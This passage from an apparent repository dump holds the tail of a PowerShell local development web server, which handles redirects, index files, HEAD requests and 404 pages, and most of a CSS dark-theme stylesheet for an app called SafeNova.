$urlPath.EndsWith('/')) {\n                $qs       = $req.Url.Query   # сохраняем query string (?2, ?project-id=2, ...)\n                $location = $urlPath + '/' + $qs\n                $resp.StatusCode = 301\n                $resp.Headers.Add('Location', $location)\n                $resp.ContentLength64 = 0\n                $resp.OutputStream.Close()\n                Write-Host \"  [$ts]  301  $urlPath -> $location\" -ForegroundColor DarkYellow\n                continue\n            }\n\n            # ── Directory: serve index.html or index.htm ────\n            if (Test-Path $filePath -PathType Container) {\n                $indexFile = $null\n                foreach ($filename in @(\"index.html\", \"index.htm\")) {\n                    $candidate = Join-Path $filePath $filename\n                    if (Test-Path $candidate -PathType Leaf) {\n                        $indexFile = $candidate\n                        break\n                    }\n                }\n                if ($indexFile) {\n                    $filePath = $indexFile\n                } else {\n                    # Directory exists but no index file found — treat as 404\n                    $filePath = $null\n                }\n            }\n\n            # ── Serve file (GET / HEAD) ──────────────────────\n            if (Test-Path $filePath -PathType Leaf) {\n                $ext         = [System.IO.Path]::GetExtension($filePath).ToLower()\n                $contentType = if ($mime.ContainsKey($ext)) { $mime[$ext] } else { \"application/octet-stream\" }\n                $bytes       = [System.IO.File]::ReadAllBytes($filePath)\n\n                $resp.StatusCode      = 200\n                $resp.ContentType     = $contentType\n                $resp.ContentLength64 = $bytes.Length\n                # Cache-Control: no-cache — browser always revalidates; avoids stale files during dev\n                $resp.Headers.Add('Cache-Control', 'no-cache')\n\n                # HEAD — headers only, no body\n                if ($method -ne 'HEAD') {\n                    $resp.OutputStream.Write($bytes, 0, $bytes.Length)\n                }\n\n                $label = if ($method -eq 'HEAD') { \"HEAD\" } else { \" GET\" }\n                Write-Host \"  [$ts]  200  $label  $urlPath\" -ForegroundColor Green\n\n            # ── 404 ─────────────────────────────────────────\n            } else {\n                $notFoundPage = $null\n                foreach ($filename in @(\"404.html\", \"404.htm\")) {\n                    $candidate = Join-Path $root $filename\n                    if (Test-Path $candidate -PathType Leaf) {\n                        $notFoundPage = $candidate\n                        break\n                    }\n                }\n\n                if ($notFoundPage) {\n                    $body = [System.IO.File]::ReadAllBytes($notFoundPage)\n                    $resp.ContentType = \"text/html; charset=utf-8\"\n                } else {\n                    $body = [System.Text.Encoding]::UTF8.GetBytes(\"404 - Not Found: $urlPath\")\n                    $resp.ContentType = \"text/plain; charset=utf-8\"\n                }\n\n                $resp.StatusCode      = 404\n                $resp.ContentLength64 = $body.Length\n                if ($method -ne 'HEAD') {\n                    $resp.OutputStream.Write($body, 0, $body.Length)\n                }\n\n                Write-Host \"  [$ts]  404  $urlPath\" -ForegroundColor DarkGray\n            }\n\n        } catch {\n            # Swallow per-request errors so the server keeps running\n            Write-Host \"  [!] Request error: $_\" -ForegroundColor Red\n        } finally {\n            # Always close — prevents hanging connections\n            try { $ctx.Response.OutputStream.Close() } catch {}\n        }\n    }\n} finally {\n    $listener.Stop()\n    Write-Host \"\"\n    Write-Host \"  Server stopped.\" -ForegroundColor Yellow\n    Write-Host \"\"\n}\n"
  },
  {
    "path": "safenova/css/app.css",
    "content": "/* ============================================================\n   SafeNova — VS Code Dark Theme\n   ============================================================ */\n*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }\n\n/* Remove browser default focus outlines — inputs use border-color for focus instead */\n:focus { outline: none; }\n\n:root {\n  --bg:        #1e1e1e;\n  --bg2:       #252526;\n  --bg3:       #2d2d30;\n  --bg4:       #3c3c3c;\n  --bg5:       #454545;\n  --border:    #3c3c3c;\n  --border2:   #555555;\n  --text:      #d4d4d4;\n  --text-dim:  #858585;\n  --text-bright: #ffffff;\n  --text-code: #9cdcfe;\n  --accent:    #0078d4;\n  --accent-h:  #1b8fd8;\n  --accent2:   #4ec9b0;\n  --orange:    #ce9178;\n  --green:     #4caf50;\n  --green2:    #6a9955;\n  --red:       #f44747;\n  --yellow:    #dcdcaa;\n  --purple:    #c678dd;\n  --blue:      #569cd6;\n  --r:         2px;\n  --shadow:    0 8px 32px rgba(0,0,0,.6);\n  --shadow-sm: 0 2px 8px rgba(0,0,0,.4);\n  --font:      'Segoe UI', system-ui, -apple-system, sans-serif;\n  --mono:      'Cascadia Code', 'Consolas', 'Courier New', monospace;\n  --transition: .15s ease;\n}\n\nhtml, body { width:100%; height:100%; font-family:var(--font); background:var(--bg); color:var(--text); overflow:hidden; user-select:none; }\n\n/* ---- SCROLLBAR ---- */\n::-webkit-scrollbar { width:8px; height:8px; }\n::-webkit-scrollbar-track { background:var(--bg2); }\n::-webkit-scrollbar-thumb { background:var(--bg5); border-radius:1px; }\n::-webkit-scrollbar-thumb:hover { background:var(--border2); }\n\n/* ---- VIEWS ---- */\n.view { position:fixed; inset:0; display:none; flex-direction:column; background:var(--bg); }\n.view.active { display:flex; }\n\n/* ============================================================\n   HOME VIEW\n   ============================================================ */\n#view-home { display:none; flex-direction:column; }\n#view-home.active { display:flex; }\n\n.app-header {\n  height:48px; min-height:48px; background:var(--bg2);\n  border-bottom:1px solid var(--border);\n  display:flex; align-items:center; padding:0 20px; gap:16px;\n  box-shadow:0 1px 0 rgba(0,0,0,.3);\n}\n.header-logo { display:flex; align-items:center; gap:10px; }\n.header-logo-icon { width:28px; height:28px; flex-shrink:0; }\n.header-logo span { font-size:16px; font-weight:600; letter-spacing:.02em; color:var(--text-bright); }\n.header-logo small { font-size:10px; color:var(--text-dim); font-weight:400; border:1px solid var(--border2); padding:1px 5px; border-radius:1px; margin-left:4px; }\n.header-brand { font-size:16px; font-weight:700; letter-spacing:.02em; color:var(--text-bright); font-family:var(--font); }\n.header-divider { width:1px; height:20px; background:var(--border2); margin:0 4px; flex-shrink:0; }\n.header-tagline { font-size:11px; color:var(--text-dim); white-space:nowrap; font-weight:400; }\n.header-spacer { flex:1; }\n.header-actions { display:flex; gap:8px; align-items:center; }\n\n.home-body { flex:1; overflow-y:auto; padding:24px; display:flex; flex-direction:column; gap:20px; }\n.home-section-title { font-size:11px; font-weight:600; color:var(--text-dim); text-transform:uppercase; letter-spacing:.08em; margin-bottom:4px; }\n\n/* ---- HOME DOC BLOCK ---- */\n.home-doc-wrap {\n  margin-top:auto; align-self:flex-start;\n  display:flex; flex-direction:column; gap:4px;\n}\n.home-doc {\n  border:1px solid var(--border); border-radius:var(--r);\n  background:var(--bg2);\n  max-width:340px; padding:11px 14px 12px;\n  display:flex; flex-direction:column; gap:6px;\n  position:relative;\n  overflow:hidden;\n  transition:max-height .3s ease, opacity .22s ease, padding .3s ease;\n  max-height:400px; opacity:1;\n}\n.home-doc.collapsed {\n  max-height:0; opacity:0; padding:0;\n  pointer-events:none;\n}\n.home-doc-collapse {\n  position:absolute; top:7px; right:7px;\n  width:18px; height:18px; padding:0; border:none; background:none;\n  color:var(--text-dim); cursor:pointer; border-radius:2px; line-height:0;\n  display:flex; align-items:center; justify-content:center;\n  transition:color .15s, background .15s;\n}\n.home-doc-collapse:hover { color:var(--text); background:var(--bg3); }\n.home-doc-badge {\n  font-size:8px; font-weight:700; text-transform:uppercase;\n  letter-spacing:.13em; color:var(--accent);\n  border:1px solid rgba(0,120,212,.65); border-radius:0;\n  padding:2px 6px; width:fit-content;\n}\n.home-doc-title {\n  font-size:11.5px; font-weight:600; color:var(--text-bright); line-height:1.3;\n}\n.home-doc-p {\n  font-size:10.5px; line-height:1.62; color:var(--text-dim); margin:0;\n}\n.home-doc-p strong { color:var(--text); font-weight:500; }\n.home-doc-stack {\n  display:flex; flex-wrap:wrap; gap:3px;\n  padding-top:7px; border-top:1px solid var(--border); margin-top:2px;\n}\n.home-doc-stack span {\n  font-size:9px; color:var(--text-dim);\n  background:var(--bg3); border:1px solid var(--border); border-radius:2px; padding:1px 5px;\n}\n/* Tab shown when doc is collapsed */\n.home-doc-tab {\n  display:none; align-self:flex-start;\n  align-items:center; gap:5px;\n  font-size:9.5px; font-weight:500; color:var(--text-dim);\n  background:var(--bg2); border:1px solid var(--border); border-radius:var(--r);\n  padding:4px 9px; cursor:pointer; margin-top:auto;\n  transition:color .15s, border-color .15s, background .15s;\n  line-height:1;\n}\n.home-doc-tab:hover { color:var(--accent); border-color:rgba(0,120,212,.4); background:var(--bg3); }\n.home-doc-tab.visible { display:flex; }\n/* Pre-hide on reload (before JS runs) — eliminates flash */\nhtml.snv-doc-hidden #home-doc { max-height:0!important; opacity:0!important; padding:0!important; overflow:hidden; }\nhtml.snv-doc-hidden #home-doc-tab { display:flex!important; }\n\n.container-grid { display:grid; grid-template-columns:repeat(auto-fill, minmax(280px, 1fr)); gap:12px; }\n.container-card {\n  background:var(--bg2); border:1px solid var(--border); border-radius:var(--r);\n  padding:18px 18px 46px 32px; cursor:pointer; transition:border-color var(--transition), background var(--transition), transform .1s;\n  position:relative; overflow:hidden; min-height:136px;\n}\n.container-card:hover { border-color:var(--accent); background:#2a2d2e; }\n.container-card:active { transform:scale(.99); }\n/* Enterprise / tier badge */\n.tier-badge {\n  display:inline-flex; align-items:center;\n  font-size:8.5px; font-weight:600; letter-spacing:.18em;\n  color:var(--text-dim);\n  border:1px solid var(--border2); border-radius:2px;\n  padding:1px 6px; line-height:1.8; font-style:normal;\n  background:transparent; flex-shrink:0; margin-left:8px;\n  font-family:var(--font);\n}\n/* Drag-to-reorder handle */\n.container-drag-handle {\n  position:absolute; left:0; top:0; bottom:0; width:26px;\n  display:flex; align-items:center; justify-content:center;\n  cursor:grab; color:var(--text-dim); opacity:0; border-radius:var(--r) 0 0 var(--r);\n  transition:opacity .15s, background .15s;\n}\n.container-card:hover .container-drag-handle { opacity:1; }\n.container-drag-handle:hover { background:var(--bg3); color:var(--text); }\n.container-drag-handle:active { cursor:grabbing; }\n.container-card.drag-reorder-source {\n  opacity:.4; transform:scale(.97);\n  box-shadow:none; pointer-events:none;\n  transition:opacity .15s, transform .15s;\n}\n.container-card.drag-reorder-over {\n  border-color:var(--accent);\n  background:rgba(0,120,212,.07);\n  box-shadow:0 0 0 2px rgba(0,120,212,.22), inset 3px 0 0 var(--accent);\n}\n\n.container-card-header { display:flex; align-items:center; gap:12px; margin-bottom:14px; }\n.container-card-icon { width:36px; height:36px; display:flex; align-items:center; justify-content:center; background:rgba(0,120,212,.12); border:1px solid rgba(0,120,212,.3); border-radius:var(--r); flex-shrink:0; }\n.container-card-icon svg { width:20px; height:20px; }\n.container-card-name { font-weight:600; font-size:14px; color:var(--text-bright); white-space:nowrap; overflow:hidden; text-overflow:ellipsis; }\n.container-card-date { font-size:11px; color:var(--text-dim); margin-top:1px; }\n.container-card-body { display:block; }\n.container-bar-wrap { position:relative; height:4px; background:var(--bg4); border-radius:1px; overflow:hidden; margin:8px 0; }\n.container-bar-fill { position:absolute; left:0; top:0; bottom:0; background:var(--accent); border-radius:1px; transition:width .4s; }\n.container-bar-fill.warn   { background:var(--orange); }\n.container-bar-fill.danger { background:var(--red); }\n.container-card-sizes { display:flex; justify-content:space-between; font-size:11px; color:var(--text-dim); }\n.container-card-menu {\n  position:absolute; top:10px; right:10px; width:24px; height:24px;\n  display:flex; align-items:center; justify-content:center;\n  opacity:0; border-radius:var(--r); transition:opacity var(--transition);\n  cursor:pointer; color:var(--text-dim);\n}\n.container-card:hover .container-card-menu { opacity:1; }\n.container-card-menu:hover { background:var(--bg4); color:var(--text); }\n.container-empty { grid-column:1/-1; display:flex; flex-direction:column; align-items:center; justify-content:center; min-height:200px; gap:12px; color:var(--text-dim); }\n.container-empty svg { width:48px; height:48px; opacity:.3; }\n.container-empty p { font-size:14px; }\n\n/* ---- Storage Footer ---- */\n.storage-footer {\n  border-top:1px solid var(--border); background:var(--bg2);\n  padding:14px 20px; display:flex; flex-direction:column; gap:6px;\n}\n.storage-row { display:flex; align-items:center; gap:12px; }\n.storage-label { font-size:11px; color:var(--text-dim); white-space:nowrap; min-width:110px; }\n.storage-bar-wrap { flex:1; height:6px; background:var(--bg4); border-radius:1px; overflow:hidden; }\n.storage-bar-fill { height:100%; background:var(--accent2); border-radius:1px; transition:width .5s; }\n.storage-bar-fill.warn   { background:var(--orange); }\n.storage-bar-fill.danger { background:var(--red); }\n.storage-text { font-size:11px; color:var(--text-dim); white-space:nowrap; min-width:140px; text-align:right; }\n\n/* ---- Storage warning banner ---- */\n.storage-warning-banner {\n  display:none; align-items:center; gap:10px; padding:8px 20px;\n  background:rgba(244,71,71,.08); border-top:1px solid rgba(244,71,71,.3);\n  font-size:12px; color:var(--red);\n}\n.storage-warning-banner.show { display:flex; }\n.storage-warning-banner svg { flex-shrink:0; }\n\n/* ---- Home warning box (browser storage) ---- */\n.home-warning-box {\n  display:flex; align-items:flex-start; gap:10px;\n  padding:10px 12px; margin-bottom:4px;\n  background:rgba(244,71,71,.07); border:1px solid rgba(244,71,71,.22);\n  border-left:3px solid var(--red); border-radius:var(--r);\n  font-size:11.5px; line-height:1.6; color:rgba(244,71,71,.85);\n  transition:opacity .2s, max-height .25s;\n}\n.home-warning-box.hidden { display:none; }\n.home-warning-box strong { color:#ff6b6b; }\n.warning-dismiss {\n  flex-shrink:0; margin-top:1px; padding:3px; border:none; background:none;\n  color:rgba(244,71,71,.45); cursor:pointer; border-radius:2px; line-height:0;\n  transition:color .15s, background .15s;\n}\n.warning-dismiss:hover { color:var(--red); background:rgba(244,71,71,.1); }\n\n/* ============================================================\n   BUTTONS\n   ============================================================ */\n.btn {\n  display:inline-flex; align-items:center; justify-content:center; gap:6px;\n  padding:6px 14px; border:none; border-radius:var(--r); font-family:var(--font);\n  font-size:13px; cursor:pointer; transition:background var(--transition), color var(--transition);\n  white-space:nowrap; color:var(--text); background:var(--bg4);\n}\n.btn:hover  { background:var(--bg5); }\n.btn:active { opacity:.8; }\n.btn:disabled, .btn[disabled] { opacity:.4; cursor:not-allowed; pointer-events:none; }\n.btn-primary { background:var(--accent); color:#fff; }\n.btn-primary:hover { background:var(--accent-h); }\n.btn-danger { background:#5a1a1a; color:var(--red); border:1px solid #7a2222; }\n.btn-danger:hover { background:#7a2222; }\n.btn-ghost { background:transparent; color:var(--text-dim); border:1px solid transparent; }\n.btn-ghost:hover { background:var(--bg3); border-color:var(--border); color:var(--text); }\n.btn-ghost.active { background:var(--bg3); border-color:var(--accent); color:var(--accent); }\n.btn-icon { padding:6px; width:32px; height:32px; }\n.btn-sm  { padding:4px 10px; font-size:12px; }\n.btn-lg  { padding:10px 24px; font-size:14px; font-weight:600; width:100%; justify-content:center; }\n\n/* ============================================================\n   INPUTS\n   ============================================================ */\n.input, .input-area {\n  display:block; width:100%;\n  background:var(--bg); border:1px solid var(--border); border-radius:var(--r);\n  color:var(--text); font-family:var(--font); font-size:13px;\n  padding:8px 12px; outline:none; transition:border-color var(--transition);\n}\n.input:focus, .input-area:focus { border-color:var(--accent); }\n.input::placeholder { color:var(--text-dim); }\n.input-area { resize:vertical; min-height:80px; }\n.input-wrap { position:relative; }\n.input-wrap .input { padding-right:40px; }\n.input-eye { position:absolute; right:0; top:0; bottom:0; width:38px; display:flex; align-items:center; justify-content:center; background:none; border:none; cursor:pointer; color:var(--text-dim); }\n.input-eye:hover { color:var(--text); }\n\n#nc-hwkey-btn {\n  display:none; margin-right:auto; flex-shrink:0;\n  border:1px solid var(--border); border-radius:var(--r);\n  background:var(--bg3); color:var(--text-dim); cursor:pointer;\n  font-family:var(--font); font-size:11px;\n  flex-direction:row; align-items:center; justify-content:center;\n  gap:5px; padding:0 10px; height:30px; white-space:nowrap; overflow:hidden;\n  transition:border-color var(--transition), color var(--transition);\n}\n#nc-hwkey-btn.show { display:flex; }\n#nc-hwkey-btn:not(:disabled):hover { border-color:var(--border2); color:var(--text); }\n#nc-hwkey-btn:disabled { cursor:default; opacity:.7; }\n\n/* Password strength */\n.pw-strength     { height:3px; border-radius:1px; margin-top:4px; transition:width .3s, background .3s; background:var(--bg4); }\n.pw-strength-row { font-size:11px; color:var(--text-dim); margin-top:4px; }\n\n/* ============================================================\n   UNLOCK VIEW\n   ============================================================ */\n#view-unlock { justify-content:center; align-items:center; background:radial-gradient(ellipse at 50% 40%, #1a2233 0%, var(--bg) 70%); }\n.unlock-box {\n  width:100%; max-width:400px; background:var(--bg2);\n  border:1px solid var(--border); border-radius:var(--r);\n  padding:40px 36px; box-shadow:var(--shadow);\n  display:flex; flex-direction:column; gap:16px;\n}\n.unlock-back       { align-self:flex-start; }\n.unlock-icon       { display:flex; justify-content:center; margin:4px 0; }\n.unlock-title      { text-align:center; font-size:22px; font-weight:700; color:var(--text-bright); margin-top:4px; }\n.unlock-subtitle   { text-align:center; font-size:13px; color:var(--text-dim); }\n.unlock-name-badge { text-align:center; font-size:14px; color:var(--accent2); font-weight:600; padding:6px 14px; background:rgba(78,201,176,.08); border:1px solid rgba(78,201,176,.2); border-radius:var(--r); align-self:center; }\n.unlock-error      { font-size:12px; color:var(--red); text-align:center; min-height:18px; display:flex; align-items:center; justify-content:center; gap:6px; }\n.unlock-error:empty { display:none; }\n.unlock-cooldown   { font-size:12px; color:var(--orange); text-align:center; min-height:18px; display:flex; align-items:center; justify-content:center; gap:6px; }\n.unlock-spinner    { display:none; justify-content:center; align-items:center; gap:8px; font-size:12px; color:var(--text-dim); }\n.unlock-spinner.show { display:flex; }\n.spinner { width:16px; height:16px; border:2px solid var(--bg4); border-top-color:var(--accent); border-radius:50%; animation:spin .8s linear infinite; }\n@keyframes spin { to { transform:rotate(360deg); } }\n\n/* ============================================================\n   DESKTOP VIEW\n   ============================================================ */\n#view-desktop { background:var(--bg); }\n.desktop-topbar {\n  height:40px; min-height:40px; background:var(--bg2); border-bottom:1px solid var(--border);\n  display:flex; align-items:center; padding:0 12px; gap:8px;\n}\n.desktop-topbar .separator { width:1px; height:20px; background:var(--border); margin:0 4px; }\n.breadcrumb { flex:1; display:flex; align-items:center; gap:2px; overflow:hidden; font-size:12px; color:var(--text-dim); }\n.breadcrumb-item { cursor:pointer; padding:2px 6px; border-radius:var(--r); white-space:nowrap; transition:color var(--transition), background var(--transition); }\n.breadcrumb-item:hover { color:var(--text); background:var(--bg3); }\n.breadcrumb-item.current { color:var(--text); cursor:default; }\n.breadcrumb-item.current:hover { background:transparent; }\n.breadcrumb-sep { color:var(--text-dim); opacity:.5; }\n\n.desktop-area {\n  flex:1; position:relative; overflow:auto;\n  background:#1e1e1e;\n  background-image: radial-gradient(circle, #2a2a2a 1px, transparent 1px);\n  background-size: calc(24px * var(--icon-scale)) calc(24px * var(--icon-scale));\n  outline:none;\n}\n.desktop-area.no-grid-dots { background-image:none; }\n.fw-area.no-grid-dots { background-image:none; }\n.desktop-area.drag-over { background-color:#1e2433; }\n\n/* Icon size modifiers */  body { --icon-scale: 1; }  body.icons-small { --icon-scale: 0.75; }\n  body.icons-large { --icon-scale: 1.25; }\n/* Animation disable */\nbody.no-animations * { animation-duration:0s!important; transition-duration:0s!important; }\n\n/* Rubber band */\n.rubberband {\n  position:absolute; border:1px solid var(--accent); background:rgba(0,120,212,.08);\n  border-radius:1px; pointer-events:none; z-index:200;\n}\n\n/* File icons */\n.file-item {\n  position:absolute; width:80px; display:flex; flex-direction:column; align-items:center;\n  gap:5px; padding:6px 4px; border-radius:var(--r);\n  cursor:pointer; transition:background var(--transition); z-index:1; transform: scale(var(--icon-scale)); transform-origin: top left;\n}\n.file-item:hover    { background:rgba(255,255,255,.05); }\n.file-item.selected { background:rgba(0,120,212,.2); outline:1px solid rgba(0,120,212,.5); }\n.file-item.dragging { opacity:.5; z-index:100; }\n.file-item.drag-target { background:rgba(78,201,176,.15); outline:1px solid var(--accent2); }\n\n.file-thumb {\n  width:56px; height:56px; border-radius:var(--r);\n  display:flex; align-items:center; justify-content:center;\n  background:var(--bg3); border:1px solid var(--border);\n  overflow:hidden; flex-shrink:0; position:relative;\n}\n.file-thumb img { width:100%; height:100%; object-fit:cover; }\n.file-thumb.folder-icon { background:transparent; border:none; }\n.file-thumb svg { pointer-events:none; }\n\n.file-name {\n  font-size:11px; text-align:center; color:var(--text); line-height:1.3;\n  width:100%; overflow:hidden; word-wrap:break-word; max-height:32px;\n  display:-webkit-box; -webkit-line-clamp:2; line-clamp:2; -webkit-box-orient:vertical;\n}\n.file-name-input {\n  font-size:11px; text-align:center; background:var(--bg); border:1px solid var(--accent);\n  color:var(--text); border-radius:var(--r); padding:1px 4px; width:100%;\n  font-family:var(--font); outline:none;\n}\n\n/* Taskbar */\n.taskbar {\n  height:36px; min-height:36px; background:var(--bg2); border-top:1px solid var(--border);\n  display:flex; align-items:center; padding:0 12px; gap:10px; overflow:hidden;\n}\n.taskbar-logo-icon { flex-shrink:0; display:block; }\n.taskbar-container-name { font-size:13px; font-weight:600; color:var(--text-bright); display:flex; align-items:center; gap:6px; }\n.taskbar-sep { flex:1; }\n.taskbar-storage { display:flex; align-items:center; gap:8px; font-size:11px; color:var(--text-dim); }\n.taskbar-bar-wrap { width:80px; height:4px; background:var(--bg4); border-radius:1px; overflow:hidden; }\n.taskbar-bar-fill { height:100%; background:var(--accent); border-radius:1px; transition:width .4s; }\n.taskbar-bar-fill.warn   { background:var(--orange); }\n.taskbar-bar-fill.danger { background:var(--red); }\n\n/* ============================================================\n   CONTEXT MENU\n   ============================================================ */\n.ctx-menu {\n  position:fixed; background:var(--bg2); border:1px solid var(--border2);\n  border-radius:var(--r); box-shadow:var(--shadow); min-width:190px; z-index:9000;\n  padding:4px 0; display:none; user-select:none;\n}\n.ctx-menu.show { display:block; }\n.ctx-item {\n  padding:7px 14px; font-size:13px; cursor:pointer; display:flex; align-items:center; gap:10px;\n  color:var(--text); white-space:nowrap; transition:background var(--transition);\n}\n.ctx-item:hover          { background:var(--accent); color:#fff; }\n.ctx-item.danger         { color:var(--red); }\n.ctx-item.danger:hover   { background:var(--red); color:#fff; }\n.ctx-sep { height:1px; background:var(--border); margin:3px 0; }\n.ctx-item-icon { width:16px; height:16px; display:flex; align-items:center; justify-content:center; flex-shrink:0; }\n\n/* ============================================================\n   MODALS\n   ============================================================ */\n.modal-overlay {\n  position:fixed; inset:0; background:rgba(0,0,0,.65); z-index:8000;\n  display:flex; align-items:center; justify-content:center;\n  opacity:0; transition:opacity .2s; pointer-events:none;\n}\n.modal-overlay.show { opacity:1; pointer-events:all; }\n.modal {\n  background:var(--bg2); border:1px solid var(--border); border-radius:var(--r);\n  box-shadow:var(--shadow); min-width:360px; max-width:90vw;\n  transform:scale(.97) translateY(8px); transition:transform .2s;\n  display:flex; flex-direction:column; max-height:90vh;\n}\n.modal-overlay.show .modal { transform:scale(1) translateY(0); }\n.modal-header { padding:16px 20px 12px; border-bottom:1px solid var(--border); display:flex; align-items:center; justify-content:space-between; flex-shrink:0; }\n.modal-title  { font-size:15px; font-weight:600; color:var(--text-bright); }\n.modal-close  { background:none; border:none; cursor:pointer; color:var(--text-dim); padding:4px; border-radius:var(--r); display:flex; align-items:center; justify-content:center; }\n.modal-close:hover { background:var(--bg4); color:var(--text); }\n.modal-body   { padding:20px; display:flex; flex-direction:column; gap:14px; overflow-y:auto; flex:1; }\n.modal-footer { padding:12px 20px; border-top:1px solid var(--border); display:flex; justify-content:flex-end; gap:8px; flex-shrink:0; }\n.form-label   { font-size:12px; color:var(--text-dim); margin-bottom:4px; display:block; }\n.form-group   { display:flex; flex-direction:column; }\n\n/* Text Editor Modal */\n.modal-editor { width:85vw; max-width:1000px; height:80vh; position:relative; overflow:hidden; }\n.editor-area  { flex:1; overflow:hidden; display:flex; flex-direction:column; }\n.editor-meta  { padding:6px 12px; background:var(--bg3); border-top:1px solid var(--border); font-size:11px; color:var(--text-dim); display:flex; gap:16px; }\ntextarea.code-editor {\n  flex:1; width:100%; background:var(--bg); color:var(--text-code); font-family:var(--mono);\n  font-size:13px; line-height:1.6; border:none; outline:none; resize:none; padding:16px;\n  tab-size:2; white-space:pre; overflow-wrap:normal;\n}\ntextarea.code-editor.word-wrap { white-space:pre-wrap; overflow-wrap:break-word; }\ntextarea.code-editor::-webkit-scrollbar-thumb { cursor:default; }\n\n/* Drag snap preview overlay */\n.snap-preview {\n  position: absolute; width: 84px; height: 90px;\n  border: 2px dashed rgba(0,120,212,.55); border-radius: 4px; transform: scale(var(--icon-scale)); transform-origin: top left;\n  background: rgba(0,120,212,.07); pointer-events: none; z-index: 1;\n  transition: left .05s linear, top .05s linear;\n}\n\n/* File Viewer Modal */\n.modal-viewer { width:90vw; max-width:1200px; height:85vh; }\n.viewer-content { flex:1; overflow:auto; display:flex; align-items:center; justify-content:center; padding:20px; background:var(--bg); }\n.viewer-content img   { max-width:100%; max-height:100%; object-fit:contain; }\n.viewer-content video, .viewer-content audio { max-width:100%; max-height:100%; }\n.viewer-content iframe { width:100%; height:100%; border:none; }\n.viewer-content .bin-msg { color:var(--text-dim); text-align:center; }\n.viewer-content .bin-msg svg { width:64px; height:64px; opacity:.3; margin-bottom:12px; }\n\n/* ---- Custom media player ---- */\n.twc-player { display:flex; flex-direction:column; width:100%; max-width:720px; gap:0; }\n.twc-player.audio-only { gap:0; }\n.twc-player video { width:100%; max-height:60vh; background:#000; border-radius:var(--r) var(--r) 0 0; display:block; cursor:pointer; object-fit:contain; }\n.twc-player .player-controls {\n  display:flex; align-items:center; gap:8px; padding:10px 14px;\n  background:var(--bg2); border:1px solid var(--border); border-radius:0 0 var(--r) var(--r);\n}\n.twc-player.audio-only .player-controls { border-radius:var(--r); }\n/* Fullscreen mode — YouTube-style overlay controls */\n.twc-player:fullscreen,\n.twc-player:-webkit-full-screen {\n  position:relative; background:#000; display:flex; flex-direction:column;\n}\n.twc-player:fullscreen video,\n.twc-player:-webkit-full-screen video {\n  max-height:none; flex:1; border-radius:0; width:100%; object-fit:contain;\n}\n.twc-player:fullscreen .player-controls,\n.twc-player:-webkit-full-screen .player-controls {\n  position:absolute; bottom:0; left:0; right:0;\n  background:linear-gradient(transparent, rgba(0,0,0,.82));\n  border:none; border-radius:0; padding:28px 16px 14px;\n  opacity:0; transition:opacity .25s;\n  pointer-events:none;\n}\n.twc-player:fullscreen:hover .player-controls,\n.twc-player:-webkit-full-screen:hover .player-controls,\n.twc-player:fullscreen .player-controls:focus-within,\n.twc-player:-webkit-full-screen .player-controls:focus-within {\n  opacity:1; pointer-events:auto;\n}\n.twc-player:fullscreen .player-btn,\n.twc-player:-webkit-full-screen .player-btn { color:#fff; }\n.twc-player:fullscreen .player-time,\n.twc-player:-webkit-full-screen .player-time { color:rgba(255,255,255,.8); }\n.twc-player .player-btn {\n  background:none; border:none; cursor:pointer; color:var(--text); padding:4px;\n  display:flex; align-items:center; justify-content:center; border-radius:var(--r);\n  transition:background var(--transition);\n}\n.twc-player .player-btn:hover { background:var(--bg4); }\n.twc-player .player-seek {\n  flex:1; height:4px; -webkit-appearance:none; appearance:none; background:var(--bg4);\n  border-radius:2px; outline:none; cursor:pointer; position:relative;\n}\n.twc-player .player-seek::-webkit-slider-thumb {\n  -webkit-appearance:none; width:12px; height:12px; border-radius:50%;\n  background:var(--accent); cursor:pointer;\n}\n.twc-player .player-seek::-moz-range-thumb {\n  width:12px; height:12px; border-radius:50%; background:var(--accent); cursor:pointer; border:none;\n}\n.twc-player .player-seek::-moz-range-track { background:var(--bg4); height:4px; border-radius:2px; }\n.twc-player .player-time { font-size:11px; color:var(--text-dim); font-family:var(--mono); min-width:75px; text-align:center; }\n.twc-player .player-vol {\n  width:70px; height:4px; -webkit-appearance:none; appearance:none; background:var(--bg4);\n  border-radius:2px; outline:none; cursor:pointer;\n}\n.twc-player .player-vol::-webkit-slider-thumb {\n  -webkit-appearance:none; width:10px; height:10px; border-radius:50%;\n  background:var(--accent-h); cursor:pointer;\n}\n.twc-player .player-vol::-moz-range-thumb {\n  width:10px; height:10px; border-radius:50%; background:var(--accent-h); cursor:pointer; border:none;\n}\n.twc-player .player-vol::-moz-range-track { background:var(--bg4); height:4px; border-radius:2px; }\n.twc-player .audio-vis {\n  display:flex; align-items:center; justify-content:center; padding:40px 20px;\n  background:var(--bg3); border-radius:var(--r) var(--r) 0 0; border:1px solid var(--border); border-bottom:none;\n}\n.twc-player .audio-vis svg { width:64px; height:64px; color:var(--accent); opacity:.6; }\n\n/* ---- Context menu disabled with tooltip ---- */\n.ctx-item.disabled { opacity:.5; pointer-events:auto; cursor:default; }\n.ctx-item.disabled:hover { background:transparent; color:var(--text-dim); }\n.ctx-tooltip { position:fixed; background:var(--bg3); border:1px solid var(--border2); color:var(--text-dim); font-size:11px; padding:6px 10px; border-radius:var(--r); box-shadow:var(--shadow-sm); z-index:9500; pointer-events:none; white-space:nowrap; }\n\n/* Properties Modal */\n.modal-props { min-width:320px; max-width:420px; }\n.props-icon  { display:flex; justify-content:center; margin:8px 0; }\n.props-table { width:100%; border-collapse:collapse; font-size:13px; }\n.props-table td { padding:6px 4px; border-bottom:1px solid var(--border); }\n.props-table td:first-child { color:var(--text-dim); width:40%; }\n\n/* ============================================================\n   TOAST\n   ============================================================ */\n#toast-container { position:fixed; bottom:52px; right:16px; z-index:9999; display:flex; flex-direction:column; gap:8px; pointer-events:none; }\n.toast {\n  background:var(--bg3); border:1px solid var(--border2); border-radius:var(--r);\n  padding:10px 16px; font-size:13px; max-width:320px;\n  box-shadow:var(--shadow-sm); display:flex; align-items:center; gap:10px;\n  animation:toastIn .2s ease, toastOut .3s ease 2.7s forwards; pointer-events:all;\n}\n.toast.success { border-left:3px solid var(--green); }\n.toast.error   { border-left:3px solid var(--red); }\n.toast.info    { border-left:3px solid var(--accent); }\n.toast.warn    { border-left:3px solid var(--orange); }\n@keyframes toastIn  { from { opacity:0; transform:translateX(20px); } to { opacity:1; transform:translateX(0); } }\n@keyframes toastOut { to   { opacity:0; transform:translateX(20px); } }\n\n/* ============================================================\n   DRAG UPLOAD OVERLAY\n   ============================================================ */\n.drop-overlay {\n  position:absolute; inset:0; background:rgba(0,120,212,.12); border:2px dashed var(--accent);\n  border-radius:var(--r); 